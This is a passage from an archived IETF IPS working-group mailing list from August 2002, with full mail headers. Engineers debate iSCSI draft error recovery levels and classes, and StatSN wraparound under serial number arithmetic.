15:58:13 -0600 (MDT) Received: from 130.29.152.171 by axcsbh6.cos.agilent.com (InterScan E-Mail VirusWall NT); Thu, 08 Aug 2002 15:58:13 -0600 Received: by axcsbh6.cos.agilent.com with Internet Mail Service (5.5.2653.19) id ; Thu, 8 Aug 2002 15:58:13 -0600 Message-ID: <1BEBA5E8600DD4119A50009027AF54A00D6433D8@axcs04.cos.agilent.com> From: pat_thaler@agilent.com To: Shahram_Davari@pmc-sierra.com, pkoning@equallogic.com Cc: ips@ece.cmu.edu Subject: RE: iSCSI question Date: Thu, 8 Aug 2002 15:58:12 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Shahram, There are two recovery heirarchies. You seem to be confusing error recovery level with error recovery class. One is the heirarchy for implementation requirements. With 3 forms of recovery, there are 8 possible combinations but to simplify interoperability and to specify minimum acceptable operation, we don't want to allow all eight. Session qualifies two ways to be level 0 of this heirarchy - it is simplest to implement and it should be able to recover from any recoverable error. Note that these are the error recovery levels that are described in 5.15. A sessions recovery level indicates the set of recovery classes it is capable of using. The recovery levels are defined such that a lower recovery level includes a subset of the recovery classes available at a higher recovery level. The other heirarchy is the order in which the available classes are applied once an error occurs. This is the subject of 5.14. The classes are disjoint. Once an error occurs, the device will choose an error recovery class from the set of recovery classes in its recovery level. If that recovery class fails, it may try the next higher class. Error recovery level 0 includes the Session recovery class. Error recovery level 1 includes the two classes useful for Digest failure recovery (Within-Command and Within-Connection) plus the Session recovery class from level 0. Error recovery level 2 includes Connection recovery class plus the classes included in level 1. I think the text already makes this clear and the pyramid correctly represents this, but perhaps the chart below the period could add "plus the capablilities of ErrorRecoveryLevel n" to the boxes for Associated Error recovery capablities for levels 1 and 2 ("n" = 0 and 1, respectively). I hope this helps remove some of the confusion. Pat -----Original Message----- From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com] Sent: Thursday, August 08, 2002 2:22 PM To: 'Paul Koning' Cc: ips@ece.cmu.edu Subject: RE: iSCSI question Paul, > But that's not what "hierarchy" refers to here. > > The hierarchy is one of increased capability, not increased > desperation. Session recovery is the minimum required; the additional > levels are optional capabilities in addition to the minimum. Each > higher level in the hierarchy is a superset of the one below. It all depends on the definition of these recovery classes. 1) If they are defined in a superset/subset fashion, then I agree that level of complexity increases as: Session->PDU->connection. Then I suggest changing texts in other parts of the draft such as section 5.14 to indicate that if you have the capabilities of class X, then you don't need to escalate to lower classes, because class X already has those capabilities itself. Also I suggest changing the hierarchy figure as following: + / \ / 2 \ +-----+ / 1,2 \ +---------+ / 0,1,2 \ +-------------+ 2) If they are defined as disjoint classes, then the hierarchy for complexity makes no sense. Rather you need a hierarchy for escalation or transition. Based on the emails that I have received so far it seems that the intent is the former definition. Yours, -Shahram From owner-ips@ece.cmu.edu Thu Aug 8 21:22:46 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA02742 for ; Thu, 8 Aug 2002 21:22:46 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g790lQY28746 for ips-outgoing; Thu, 8 Aug 2002 20:47:26 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g790lOo28739 for ; Thu, 8 Aug 2002 20:47:24 -0400 (EDT) Received: from core.rose.hp.com (core.rose.hp.com [15.43.208.100]) by palrel11.hp.com (Postfix) with ESMTP id 0C3F66007AE; Thu, 8 Aug 2002 17:47:20 -0700 (PDT) Received: from swathi (swathi.rose.hp.com [15.43.213.237]) by core.rose.hp.com with SMTP (8.9.3 (PHNE_22672)/8.8.6 SMKit7.02) id RAA09948; Thu, 8 Aug 2002 17:49:13 -0700 (PDT) Message-ID: <00e501c23f3e$4fefe800$edd52b0f@rose.hp.com> From: "Mallikarjun C." To: , , Cc: References: <1BEBA5E8600DD4119A50009027AF54A00D6433D8@axcs04.cos.agilent.com> Subject: Re: iSCSI question Date: Thu, 8 Aug 2002 17:47:17 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Pat is correct, the only change from what she said is that there's only one hierarchy, not two (the error recovery "classes" have no implied hierarchy). Even though the text is very explicit, I agree that it may still be a good idea to improve the table as Pat suggests. -- Mallikarjun Mallikarjun Chadalapaka Networked Storage Architecture Network Storage Solutions Hewlett-Packard MS 5668 Roseville CA 95747 cbm@rose.hp.com ----- Original Message ----- From: To: ; Cc: Sent: Thursday, August 08, 2002 2:58 PM Subject: RE: iSCSI question > Shahram, > > There are two recovery heirarchies. You seem to be confusing error recovery level with error recovery class. > > One is the heirarchy for implementation requirements. With 3 forms of recovery, there are 8 possible combinations but to simplify interoperability and to specify minimum acceptable operation, we don't want to allow all eight. Session qualifies two ways to be level 0 of this heirarchy - it is simplest to implement and it should be able to recover from any recoverable error. > > Note that these are the error recovery levels that are described in 5.15. A sessions recovery level indicates the set of recovery classes it is capable of using. The recovery levels are defined such that a lower recovery level includes a subset of the recovery classes available at a higher recovery level. > > The other heirarchy is the order in which the available classes are applied once an error occurs. This is the subject of 5.14. The classes are disjoint. > > Once an error occurs, the device will choose an error recovery class from the set of recovery classes in its recovery level. If that recovery class fails, it may try the next higher class. > > Error recovery level 0 includes the Session recovery class. > Error recovery level 1 includes the two classes useful for Digest failure recovery (Within-Command and Within-Connection) plus the Session recovery class from level 0. > Error recovery level 2 includes Connection recovery class plus the classes included in level 1. > > I think the text already makes this clear and the pyramid correctly represents this, but perhaps the chart below the period could add "plus the capablilities of ErrorRecoveryLevel n" to the boxes for Associated Error recovery capablities for levels 1 and 2 ("n" = 0 and 1, respectively). > > I hope this helps remove some of the confusion. > > Pat > > -----Original Message----- > From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com] > Sent: Thursday, August 08, 2002 2:22 PM > To: 'Paul Koning' > Cc: ips@ece.cmu.edu > Subject: RE: iSCSI question > > > Paul, > > > > But that's not what "hierarchy" refers to here. > > > > The hierarchy is one of increased capability, not increased > > desperation. Session recovery is the minimum required; the additional > > levels are optional capabilities in addition to the minimum. Each > > higher level in the hierarchy is a superset of the one below. > > It all depends on the definition of these recovery classes. > > 1) If they are defined in a superset/subset fashion, then I agree > that level of complexity increases as: Session->PDU->connection. > Then I suggest changing texts in other parts of the draft such as > section 5.14 to indicate that if you have the capabilities of > class X, then you don't need to escalate to lower classes, because > class X already has those capabilities itself. Also I suggest > changing the hierarchy figure as following: > > > + > / \ > / 2 \ > +-----+ > / 1,2 \ > +---------+ > / 0,1,2 \ > +-------------+ > > > 2) If they are defined as disjoint classes, then the hierarchy for > complexity makes no sense. Rather you need a hierarchy for escalation > or transition. > > > Based on the emails that I have received so far it seems that the intent is the former definition. > > Yours, > -Shahram > > From owner-ips@ece.cmu.edu Thu Aug 8 21:24:13 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA02769 for ; Thu, 8 Aug 2002 21:24:13 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g790iDQ28552 for ips-outgoing; Thu, 8 Aug 2002 20:44:13 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dmz1.silverbacksystems.com (dmz1.silverbacksystems.com [65.172.158.82]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g790iAo28545; Thu, 8 Aug 2002 20:44:10 -0400 (EDT) Received: from ns.silverbacksystems.com (gate-camp-hme0.silverbacksystems.com [65.172.158.93]) by dmz1.silverbacksystems.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id DD1609A49; Thu, 8 Aug 2002 17:43:54 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by ns.silverbacksystems.com (Postfix on SuSE Linux eMail Server 3.0) with ESMTP id DBAA46E98; Thu, 8 Aug 2002 17:43:54 -0700 (PDT) Cc: "Shahram Davari" , , Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset="us-ascii" Date: Thu, 8 Aug 2002 17:43:36 -0700 From: "Somesh Gupta" Importance: Normal In-Reply-To: <3D5152AB.43701E1@cisco.com> Message-ID: MIME-Version: 1.0 Received: from ns.silverbacksystems.com (localhost [127.0.0.1]) by localhost (AvMailGate-2.0.0.6) id 30228-77D721F1; Thu, 08 Aug 2002 17:43:31 -0700 Received: from somesh (somesh.corp.silverbacksystems.com [10.0.16.35]) by ns.silverbacksystems.com (Postfix on SuSE Linux eMail Server 3.0) with SMTP id 96BF61D02; Thu, 8 Aug 2002 17:43:31 -0700 (PDT) Subject: RE: iSCSI question To: "Mark Bakke" , "Julian Satran" X-AntiVirus: OK! AntiVir MailGate Version 2.0.0.6 at ns.silverbacksystems.com has not found any known virus in this email. X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 X-MSMail-Priority: Normal X-Priority: 3 (Normal) Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Additionally (and with all due respect to the protocol inventors), the recovery levels do not take into account the problems most likely to be encountered. As someone had previously pointed out, recovery from failed connections is likely to be most used (and should be disjoint from recovery within a command due to digest errors which is probably most useful for legacy tape). The person referred to it as recovery level 0.5. Even though the initiator has significant flexibility in the model to use, the target is fairly hosed in this regard. But time to close the spec. Somesh > -----Original Message----- > From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of > Mark Bakke > Sent: Wednesday, August 07, 2002 10:03 AM > To: Julian Satran > Cc: Shahram Davari; ips@ece.cmu.edu; owner-ips@ece.cmu.edu > Subject: Re: iSCSI question > > > > Julian- > > Your comment is accurate, but I just want to make sure that the > readers take "last resort" properly. From a technical, iSCSI > point of view, it's the last resort. > > However, from a practical (implementation/deployment) point of > view, session recovery is not all that drastic. We have been > shipping iSCSI drivers and targets that do session recovery for > quite a while, and it works just quite well for disks (the OS > SCSI layer handles any retries), and for tape applications that > support re-positioning, which are becoming more common. We > have spent a significant amount of time testing this both in > our lab and in the field. > > > Once tape device and driver vendors support SSC-2, there should be > no need to do more than session recovery, except perhaps for > some performance advantages environments where a lot of connection > recovery needs to take place. But for most iSCSI environments, > doing more than session recovery is not necessary. > > > -- > Mark > > Julian Satran wrote: > > > > Session recovery means just creating a NEW session and > forgetting about all old commands. > > It is the last resort recovery where everything else fails and > as such it is the most basic > > function - that anybody has to have. > > > > Julo > > > > Shahram Davari > > To: > Julian Satran/Haifa/IBM@IBMIL > > 08/07/2002 06:43 PM > > cc: > ips@ece.cmu.edu, > > owner-ips@ece.cmu.edu > > > Subject: RE: iSCSI question > > > > > > > > Julian, > > > > To start a new session you need to start new connections and > you need to support > > the PDU recovery. So how is that a subset of PDU and connection > recovery? > > > > > > -Shahram > > > > (I will explain the detailed clarity issues in another email) > > -----Original Message----- > > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > > Sent: Wednesday, August 07, 2002 11:34 AM > > To: Shahram Davari > > Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu > > Subject: RE: iSCSI question > > > > Session recovery is in fact leaving all recovery to SCSI - it > drops everything and creates a new > > session. > > As for you comment on the clarity of chapter 5 at this stage it > makes sense to be either specific > > or keep this type of comment out of this context. > > > > Julo > > > > Shahram Davari > > To: > Julian > > 08/07/2002 06:09 PM > Satran/Haifa/IBM@IBMIL > > cc: > ips@ece.cmu.edu, > > > owner-ips@ece.cmu.edu > > > Subject: RE: iSCSI question > > > > > > > > Julian, > > > > Thanks. I have read that section but it is not very clear. > > > > I also agree that Connection recovery requires everything in > command recovery. > > But what about session recovery? isn't it a superset of both > connection and command recovery? > > > > Yours, > > -Shahram > > -----Original Message----- > > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > > Sent: Wednesday, August 07, 2002 11:03 AM > > To: Shahram Davari > > Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu > > Subject: Re: iSCSI question > > > > Sharam, > > > > You may want to go over the recovery chapter. > > It has detailed answers to all your questions. > > The superset/subset is based on functions you need for the next level. > > > > Session recovery drops real recovery to SCSI. > > Command recovery recovers from individual command errors without > > changing connection and the highest enable you to switch to a > new connection and > > continue commands there. > > > > 2 requires everything in 1. > > > > Julo > > Shahram Davari > > Sent by: owner-ips@ece.cmu.edu > To: ips@ece.cmu.edu > > > > 08/07/2002 05:17 PM > cc: > > > Subject: iSCSI > > > question > > > > > > > > Hi, > > > > I have a question regarding the hierarchy of error recovery. > > Section 6.13 mentions the hierarchy as: > > > > 2: Connection recovery > > 1: Digest failure recovery > > 0: Session recovery > > > > And it states that the higher levels are a superset of the > > lower levels and that the level of complexity increases from 0->1->2. > > > > Couple of questions: > > > > 1) How is digest failure recovery done? by retransmission of PDUs? > > 2) Why is the connection recovery a superset of session recovery > > and more complex? > > 3) It seems to me the order should be: > > > > 2: Session recovery > > 1: Connection recovery > > 0: Digest failure recovery > > > > I appreciate any insight. > > > > Thanks, > > -Shahram > > -- > Mark A. Bakke > Cisco Systems > mbakke@cisco.com > 763.398.1054 From owner-ips@ece.cmu.edu Fri Aug 9 04:39:06 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA19844 for ; Fri, 9 Aug 2002 04:39:01 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g79831H19266 for ips-outgoing; Fri, 9 Aug 2002 04:03:01 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g7982xo19262 for ; Fri, 9 Aug 2002 04:02:59 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-2.de.ibm.com (8.12.3/8.12.3) with ESMTP id g7982qq6025238 for ; Fri, 9 Aug 2002 10:02:52 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g7982pCM028876 for ; Fri, 9 Aug 2002 10:02:52 +0200 To: ips@ece.cmu.edu MIME-Version: 1.0 Subject: RE: iSCSI question X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Fri, 9 Aug 2002 11:02:49 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 09/08/2002 11:02:51, Serialize complete at 09/08/2002 11:02:51 Content-Type: multipart/alternative; boundary="=_alternative 002BBDC8C2256C10_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 002BBDC8C2256C10_= Content-Type: text/plain; charset="us-ascii" You have repaetedly said this and your position was respectfully noted. Why do you bring this up again. The list has somehow agreed that closed issues stay closed unless you have new technical argument - and you don't bring here any. Please refrain! Julo ----- Forwarded by Julian Satran/Haifa/IBM on 08/09/2002 10:54 AM ----- "Somesh Gupta" 08/09/2002 03:43 AM To: "Mark Bakke" , Julian Satran/Haifa/IBM@IBMIL cc: "Shahram Davari" , , Subject: RE: iSCSI question Additionally (and with all due respect to the protocol inventors), the recovery levels do not take into account the problems most likely to be encountered. As someone had previously pointed out, recovery from failed connections is likely to be most used (and should be disjoint from recovery within a command due to digest errors which is probably most useful for legacy tape). The person referred to it as recovery level 0.5. Even though the initiator has significant flexibility in the model to use, the target is fairly hosed in this regard. But time to close the spec. Somesh > -----Original Message----- > From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of > Mark Bakke > Sent: Wednesday, August 07, 2002 10:03 AM > To: Julian Satran > Cc: Shahram Davari; ips@ece.cmu.edu; owner-ips@ece.cmu.edu > Subject: Re: iSCSI question > > > > Julian- > > Your comment is accurate, but I just want to make sure that the > readers take "last resort" properly. From a technical, iSCSI > point of view, it's the last resort. > > However, from a practical (implementation/deployment) point of > view, session recovery is not all that drastic. We have been > shipping iSCSI drivers and targets that do session recovery for > quite a while, and it works just quite well for disks (the OS > SCSI layer handles any retries), and for tape applications that > support re-positioning, which are becoming more common. We > have spent a significant amount of time testing this both in > our lab and in the field. > > > Once tape device and driver vendors support SSC-2, there should be > no need to do more than session recovery, except perhaps for > some performance advantages environments where a lot of connection > recovery needs to take place. But for most iSCSI environments, > doing more than session recovery is not necessary. > > > -- > Mark > > Julian Satran wrote: > > > > Session recovery means just creating a NEW session and > forgetting about all old commands. > > It is the last resort recovery where everything else fails and > as such it is the most basic > > function - that anybody has to have. > > > > Julo > > > > Shahram Davari > > To: > Julian Satran/Haifa/IBM@IBMIL > > 08/07/2002 06:43 PM > > cc: > ips@ece.cmu.edu, > > owner-ips@ece.cmu.edu > > > Subject: RE: iSCSI question > > > > > > > > Julian, > > > > To start a new session you need to start new connections and > you need to support > > the PDU recovery. So how is that a subset of PDU and connection > recovery? > > > > > > -Shahram > > > > (I will explain the detailed clarity issues in another email) > > -----Original Message----- > > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > > Sent: Wednesday, August 07, 2002 11:34 AM > > To: Shahram Davari > > Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu > > Subject: RE: iSCSI question > > > > Session recovery is in fact leaving all recovery to SCSI - it > drops everything and creates a new > > session. > > As for you comment on the clarity of chapter 5 at this stage it > makes sense to be either specific > > or keep this type of comment out of this context. > > > > Julo > > > > Shahram Davari > > To: > Julian > > 08/07/2002 06:09 PM > Satran/Haifa/IBM@IBMIL > > cc: > ips@ece.cmu.edu, > > > owner-ips@ece.cmu.edu > > > Subject: RE: iSCSI question > > > > > > > > Julian, > > > > Thanks. I have read that section but it is not very clear. > > > > I also agree that Connection recovery requires everything in > command recovery. > > But what about session recovery? isn't it a superset of both > connection and command recovery? > > > > Yours, > > -Shahram > > -----Original Message----- > > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > > Sent: Wednesday, August 07, 2002 11:03 AM > > To: Shahram Davari > > Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu > > Subject: Re: iSCSI question > > > > Sharam, > > > > You may want to go over the recovery chapter. > > It has detailed answers to all your questions. > > The superset/subset is based on functions you need for the next level. > > > > Session recovery drops real recovery to SCSI. > > Command recovery recovers from individual command errors without > > changing connection and the highest enable you to switch to a > new connection and > > continue commands there. > > > > 2 requires everything in 1. > > > > Julo > > Shahram Davari > > Sent by: owner-ips@ece.cmu.edu > To: ips@ece.cmu.edu > > > > 08/07/2002 05:17 PM > cc: > > > Subject: iSCSI > > > question > > > > > > > > Hi, > > > > I have a question regarding the hierarchy of error recovery. > > Section 6.13 mentions the hierarchy as: > > > > 2: Connection recovery > > 1: Digest failure recovery > > 0: Session recovery > > > > And it states that the higher levels are a superset of the > > lower levels and that the level of complexity increases from 0->1->2. > > > > Couple of questions: > > > > 1) How is digest failure recovery done? by retransmission of PDUs? > > 2) Why is the connection recovery a superset of session recovery > > and more complex? > > 3) It seems to me the order should be: > > > > 2: Session recovery > > 1: Connection recovery > > 0: Digest failure recovery > > > > I appreciate any insight. > > > > Thanks, > > -Shahram > > -- > Mark A. Bakke > Cisco Systems > mbakke@cisco.com > 763.398.1054 --=_alternative 002BBDC8C2256C10_= Content-Type: text/html; charset="us-ascii"
You have repaetedly said this and your position was respectfully noted.
Why do you bring this up again.  The list has somehow agreed that closed issues stay closed unless
you have new technical argument - and you don't bring here any.
Please refrain!

Julo
----- Forwarded by Julian Satran/Haifa/IBM on 08/09/2002 10:54 AM -----
"Somesh Gupta" <somesh_gupta@silverbacksystems.com>

08/09/2002 03:43 AM

       
        To:        "Mark Bakke" <mbakke@cisco.com>, Julian Satran/Haifa/IBM@IBMIL
        cc:        "Shahram Davari" <Shahram_Davari@pmc-sierra.com>, <ips@ece.cmu.edu>, <owner-ips@ece.cmu.edu>
        Subject:        RE: iSCSI question

       


Additionally (and with all due respect to the protocol
inventors), the recovery levels do not take into account
the problems most likely to be encountered.

As someone had previously pointed out, recovery from
failed connections is likely to be most used
(and should be disjoint from recovery within a
command due to digest errors which is probably
most useful for legacy tape). The person referred to
it as recovery level 0.5.

Even though the initiator has significant flexibility in
the model to use, the target is fairly hosed in this regard.

But time to close the spec.

Somesh



> -----Original Message-----
> From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of
> Mark Bakke
> Sent: Wednesday, August 07, 2002 10:03 AM
> To: Julian Satran
> Cc: Shahram Davari; ips@ece.cmu.edu; owner-ips@ece.cmu.edu
> Subject: Re: iSCSI question
>
>
>
> Julian-
>
> Your comment is accurate, but I just want to make sure that the
> readers take "last resort" properly.  From a technical, iSCSI
> point of view, it's the last resort.
>
> However, from a practical (implementation/deployment) point of
> view, session recovery is not all that drastic.  We have been
> shipping iSCSI drivers and targets that do session recovery for
> quite a while, and it works just quite well for disks (the OS
> SCSI layer handles any retries), and for tape applications that
> support re-positioning, which are becoming more common.  We
> have spent a significant amount of time testing this both in
> our lab and in the field.
>
> <SOAPBOX>
> Once tape device and driver vendors support SSC-2, there should be
> no need to do more than session recovery, except perhaps for
> some performance advantages environments where a lot of connection
> recovery needs to take place.  But for most iSCSI environments,
> doing more than session recovery is not necessary.
> </SOAPBOX>
>
> --
> Mark
>
> Julian Satran wrote:
> >
> > Session recovery means just creating a NEW session and
> forgetting about all old commands.
> > It is the last resort recovery where everything else fails and
> as such it is the most basic
> > function - that anybody has to have.
> >
> > Julo
> >
> >   Shahram Davari <Shahram_Davari@pmc-sierra.com>
> >                                                          To:    
>     Julian Satran/Haifa/IBM@IBMIL
> >   08/07/2002 06:43 PM
> >                                                          cc:    
>     ips@ece.cmu.edu,
> >                                                  owner-ips@ece.cmu.edu
> >                                                          
> Subject:        RE: iSCSI question
> >
> >
> >
> > Julian,
> >
> > To start a new session you need to start new connections and
> you need to support
> > the PDU recovery. So how is that a subset of PDU and connection
> recovery?
> >
> >
> > -Shahram
> >
> > (I will explain the detailed clarity issues in another email)
> > -----Original Message-----
> > From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
> > Sent: Wednesday, August 07, 2002 11:34 AM
> > To: Shahram Davari
> > Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu
> > Subject: RE: iSCSI question
> >
> > Session recovery is in fact leaving all recovery to SCSI - it
> drops everything and creates a new
> > session.
> > As for you comment on the clarity of chapter 5 at this stage it
> makes sense to be either specific
> > or keep this type of comment out of this context.
> >
> > Julo
> >
> >    Shahram Davari <Shahram_Davari@pmc-sierra.com>
> >                                                            To:  
>       Julian
> >    08/07/2002 06:09 PM                              
> Satran/Haifa/IBM@IBMIL
> >                                                            cc:  
>       ips@ece.cmu.edu,
> >                                                    
> owner-ips@ece.cmu.edu
> >                                                            
> Subject:        RE: iSCSI question
> >
> >
> >
> > Julian,
> >
> > Thanks. I have read that section but it is not very clear.
> >
> > I also agree that Connection recovery requires everything in
> command recovery.
> > But what about session recovery? isn't it a superset of both
> connection and command recovery?
> >
> > Yours,
> > -Shahram
> > -----Original Message-----
> > From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
> > Sent: Wednesday, August 07, 2002 11:03 AM
> > To: Shahram Davari
> > Cc: ips@ece.cmu.edu; owner-ips@ece.cmu.edu
> > Subject: Re: iSCSI question
> >
> > Sharam,
> >
> > You may want to go over the recovery chapter.
> > It has detailed answers to all your questions.
> > The superset/subset is based on functions you need for the next level.
> >
> > Session recovery drops real recovery to SCSI.
> > Command recovery recovers from individual command errors without
> > changing connection and the highest enable you to switch to a
> new connection and
> > continue commands there.
> >
> > 2 requires everything in 1.
> >
> > Julo
> >    Shahram Davari <Shahram_Davari@pmc-sierra.com>
> >    Sent by: owner-ips@ece.cmu.edu                              
>        To:        ips@ece.cmu.edu
> >
> >    08/07/2002 05:17 PM                                          
>        cc:
> >                                                                
>        Subject:        iSCSI
> >                                                                
>  question
> >
> >
> >
> > Hi,
> >
> > I have a question regarding the hierarchy of error recovery.
> > Section 6.13 mentions the hierarchy as:
> >
> > 2: Connection recovery
> > 1: Digest failure recovery
> > 0: Session recovery
> >
> > And it states that the higher levels are a superset of the
> > lower levels and that the level of complexity increases from 0->1->2.
> >
> > Couple of questions:
> >
> > 1) How is digest failure recovery done? by retransmission of PDUs?
> > 2) Why is the connection recovery a superset of session recovery
> > and more complex?
> > 3) It seems to me the order should be:
> >
> > 2: Session recovery
> > 1: Connection recovery
> > 0: Digest failure recovery
> >
> > I appreciate any insight.
> >
> > Thanks,
> > -Shahram
>
> --
> Mark A. Bakke
> Cisco Systems
> mbakke@cisco.com
> 763.398.1054
--=_alternative 002BBDC8C2256C10_=-- From owner-ips@ece.cmu.edu Fri Aug 9 07:57:25 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA23895 for ; Fri, 9 Aug 2002 07:57:25 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g79BIxv07935 for ips-outgoing; Fri, 9 Aug 2002 07:18:59 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g79BIuo07930; Fri, 9 Aug 2002 07:18:56 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate.de.ibm.com (8.12.3/8.12.3) with ESMTP id g79BIlhh013416; Fri, 9 Aug 2002 13:18:47 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g79BIlZe123438; Fri, 9 Aug 2002 13:18:47 +0200 To: Cc: ips@ece.cmu.edu, owner-ips@ece.cmu.edu MIME-Version: 1.0 Subject: Re: StatSN wraparound; 2 typos X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 From: "Julian Satran" Message-ID: Date: Fri, 9 Aug 2002 14:18:44 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 09/08/2002 14:18:47, Serialize complete at 09/08/2002 14:18:47 Content-Type: multipart/alternative; boundary="=_alternative 003DD4CEC2256C10_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 003DD4CEC2256C10_= Content-Type: text/plain; charset="us-ascii" Tony, For the difference between regular modulo arithmetic and serial number arithmetic it would be helpful to have a glimpse at the referred RFC. We sue regular modulo arithmetic whenever we don't have to define an interval (order?) and serial where we have to. Thanks for the typos. Julo "Tony Battersby" Sent by: owner-ips@ece.cmu.edu 08/07/2002 08:57 PM Please respond to tonyb To: cc: Subject: StatSN wraparound; 2 typos According to 2.2.2.2 (draft 15), the status sequence number space is 32-bit unsigned integers and the arithmetic operations are the regular mod(2**32) arithmetic. Why is StatSN not specified to use serial number arithmetic (like CmdSN) to handle wrap-around? For example, I am working on a target implementation that keeps the information for response PDUs around until they are acknowledged by ExpStatSN from the initiator. If the target sends two response PDUs with StatSNs equal to 2**32-1 and 0, and the initiator's next PDU has ExpStatSN equal to 1, then the target should consider both response PDUs acknowledged. Clearly, this will not happen with "regular" unsigned integer comparisons, since 2**32-1 > 1. Perhaps it should be made explicit that comparisons on StatSN and ExpStatSN should use serial number arithmetic, which would handle the wrap-around. I have also found two typos in draft 15: Section 11.12 MaxRecvDataSegmentLength Last sentence "... if immediate data where sent" change "where" to "were". Section B.3 R2TSN DataSN use Examples Bidirectional DataSN Example "... in the alter case" change "alter" to "latter". Thanks, Anthony J. Battersby Cybernetics --=_alternative 003DD4CEC2256C10_= Content-Type: text/html; charset="us-ascii"
Tony,

For the difference between regular modulo arithmetic  and serial number arithmetic it would be helpful to have a glimpse at the referred RFC.
We sue regular modulo arithmetic whenever we don't have to define an interval (order?)  and serial where we have to.

Thanks for the typos.

Julo


"Tony Battersby" <tonyb@cybernetics.com>
Sent by: owner-ips@ece.cmu.edu

08/07/2002 08:57 PM
Please respond to tonyb

       
        To:        <ips@ece.cmu.edu>
        cc:        
        Subject:        StatSN wraparound; 2 typos

       


According to 2.2.2.2 (draft 15), the status sequence number space is 32-bit
unsigned integers and the arithmetic operations are the regular mod(2**32)
arithmetic.  Why is StatSN not specified to use serial number arithmetic
(like CmdSN) to handle wrap-around?

For example, I am working on a target implementation that keeps the
information for response PDUs around until they are acknowledged by
ExpStatSN from the initiator.  If the target sends two response PDUs with
StatSNs equal to 2**32-1 and 0, and the initiator's next PDU has ExpStatSN
equal to 1, then the target should consider both response PDUs acknowledged.
Clearly, this will not happen with "regular" unsigned integer comparisons,
since 2**32-1 > 1.  Perhaps it should be made explicit that comparisons on
StatSN and ExpStatSN should use serial number arithmetic, which would handle
the wrap-around.

I have also found two typos in draft 15:

Section 11.12 MaxRecvDataSegmentLength
